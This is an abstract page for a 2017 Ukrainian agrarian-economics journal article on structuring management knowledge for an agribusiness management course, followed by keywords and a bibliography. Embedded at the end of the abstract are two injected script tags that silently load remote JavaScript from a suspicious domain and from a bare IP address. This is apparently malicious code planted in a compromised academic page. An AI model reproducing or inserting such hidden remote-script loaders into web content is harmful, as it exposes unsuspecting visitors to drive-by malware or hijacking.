eISSN 2413-2322

pISSN 2221-1055

УДК: 331.1:001
Управління та інформаційне забезпечення

Феномен управления и систематизация управленческих знаний в АПК / Черный Г.М., Мищенко И.А., Фищук Н.Ю. // Экономика АПК. - 2017. - № 4 - С. 77

Целью статьи является анализ структуры учебной дисциплины «менеджмент» из концептуальных позиций кибернетики. Предлагается вариант объективной цепи управленческих явлений, который должен быть основой формирования блоков управленческих знаний с последующей обработкой тематики курса этой учебной дисциплины. Исследования проводились с использованием методов логики, философии, социологии, экономики на эмпирическом и теоретическом уровне: наблюдение, сравнение, оценка, обобщение, абстрагирование, анализ, синтез, индукция, дедукция и тому подобное. Результаты исследования показывают, что функционирование в аграрно-продовольственном секторе экономики различных организационно-правовых форм хозяйствования является одной из причин неоднозначной трактовки сущности управления в них, и как следствие различных вариантов структуры теоретических знаний о нем. С одной стороны, это реальное свидетельство творческого развития науки об управлении в аграрной экономике, с другой - такая ситуация не способствует получению студентами конкретных системных и глубоких знаний по современному менеджменту как одной из основ их будущей профессиональной практической деятельности, обусловливает целесообразность проведения дальнейших исследований. Элементы научной новизны и практическая значимость. Управленческие явления на уровне сельскохозяйственных предприятий (хозяйств) существуют как самодостаточные источники знаний эмпирического характера. В то же время исследовательские наблюдения дали возможность выявить связь между ними в форме объективно, последовательно, логически оправданной цепи, начиная с формирования конкретного субъекта хозяйственной деятельности и завершая последствиями управления в нем. Логика объективной цепи управленческих явлений требует аналогичной структуры этой цепи последовательных объективных блоков управленческих знаний, которые должны его отражать. В зависимости от объема учебного времени по дисциплине "аграрный менеджмент" для конкретных специальностей эти блоки знаний могут легко распределяться на структурные элементы низшего порядка, то есть конкретные темы по этому курсу. Илл.: 1. Библиогр.: 14.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Ключевые слова: субъект управления объект управления система менеджмент управление управленческие явления блоки управленческих знаний темы занятий

Список использованных источников

  1. Дем’яненко С.І. Менеджмент аграрних підприємств [Текст] : навч. посіб. / С. І. Дем’яненко; Київський національний економічний ун-т. - К. : КНЕУ, 2005. - 348 с.
  2. Завадський Й.С. Менеджмент: підруч. для студ. екон. спец. вищих закладів : у 2 т. / Й. С. Завадський. - К. : Вид-во Європ. ун-ту, 2003. - Т. 2. - 640 с.
  3. Осовська Г.В. Менеджмент організацій : підруч. / Г. В. Осовська, О. А. Осовський. - К. : Кондор, 2009. - 680 c.
  4. Романова Л.В. Управління підприємницькою діяльністю : навч. посіб. / Л. В. Романова ; М-во освіти і науки України. - К. : Центр навч. літератури, 2006. - 240 с.
  5. Рульєв В.А. Менеджмент : навч. посіб. / В. А. Рульєв, С. О. Гуткевич. - К. : Центр учбової літератури, 2011. - 312 с.
  6. Шегда А.В. Менеджмент : навч. посіб. / А. В. Шегда. - К.: Знання, КОО, 2002. - 584 с.
  7. Чорний Г.М. Управління: концептуальні засади національного менеджменту / Г.М. Чорний. - К.: ННЦ ІАЕ, 2005. - 102 с.
  8. Чорний Г.М. Керівник в АПК: теорія і практика діяльності / Г. М. Чорний. - К.: ІАЕ УААН, 1998. - 196 c.
  9. Мескон М.Х. Основы менеджмента; пер. с англ. / М. Х. Мескон, М. Альберт, Ф. Хедоури. - М.: Дело, 2003. - 702 с.
  10. Управление - это наука и искусство / А. Файоль, Г. Эмерсон, Ф. Тейлор, Г. Форд; сост. Г. Л. Подвойский. - М.: Республика, 1992. - 352 с.
  11. Гріфін Р. Основи менеджменту: підруч. / Р. Гріфін, В. Яцура; наук. ред. В. Яцура, Д. Олесневич. - Львів: БаК, 2001. - 624 с.
  12. Друкер Питер Ф. Задачи менеджмента в XXI веке; пер. с англ. / Питер Ф. Друкер. - М.: Издательский дом «Вильямс», 2003. - 272 с.
  13. Dooley D. Social research methods. 4th ed. / Dooley, David Upper Saddle River, NJ: Prentice Hall. 2001 - p. 386.
  14. Kathleen B. Foundations for research: Methods of inquiry in education and the social sciences. / De Marrais, Kathleen B. and Stephen D. Lapan Mahwah, NJ: L. Erlbaum Associates. 2004. - p. 432.

Читать статью: e_apk_2017_4_11.pdf